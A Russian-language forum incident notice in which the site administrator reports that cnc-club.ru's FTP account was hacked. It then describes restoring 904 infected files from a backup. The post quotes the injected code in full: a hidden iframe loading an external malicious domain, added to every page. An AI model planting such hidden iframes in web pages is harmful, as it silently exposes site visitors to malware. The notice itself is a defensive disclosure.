Внимание вирус!

[Nick]

Внимание вирус!

Сегодня какие-то гады сломали фтп аккаунт сайта cnc-club.ru. Ко всем страницам была добавлена подпись следующего вида:
<div style="visibility:hidden"><iframe src="http://meinvorun.biz/zl/s2/" width=100 height=80></iframe></div>

На данный момент этот ресурс недоступен.
Форум был восстановлен из резервной копии сделанной вчера.
Если есть возможность проверьте свои компьютеры на наличие вирусов.

Приношу свои извинения, если это доставило Вам какие-то неудобства.

[Nick]

Судя по всему, проблемы возникли со стороны хостера (spaceweb). Т.к. на форуме phpguru нашел еще одного человека, с таким же вирусом в то же время и на том же хостинге. Вероятнее всего вирусом заражен один из компьютеров spaceweb, на котором лежали пароли от общего фтп сервера.

К сожалению хотелось бы отметить, что со стороны spaceweb пока не было никаких заявлений по этому поводу. На запрос логов фтп сказали: "Здравствуйте!Ваше письмо передано на рассмотрение администратору. По факту рассмотрения вопроса мы обязательно Вам ответим."
Запрос был отправлен вчера в 21:25, сегодня на 11:20 ответа пока нет.

Однако нельзя не отметить отлично работающую функцию backup. В ходе рассмотрения проблемы было выяснено, что "поражены" все файлы с расширением php и htm/html которых в общей сложности насчитывается 904 штуки. Было принято решение восстановить резервную копию, которые создаются хостером раз в сутки. Путем нажатия на одну клавишу проблема была решена. Потери данных не произошло, т.к. все php/html на сайте статичные, а вся динамика хранится в MySQL. Могли потеряться только аттачменты к сообщениям форума сделанные вчера.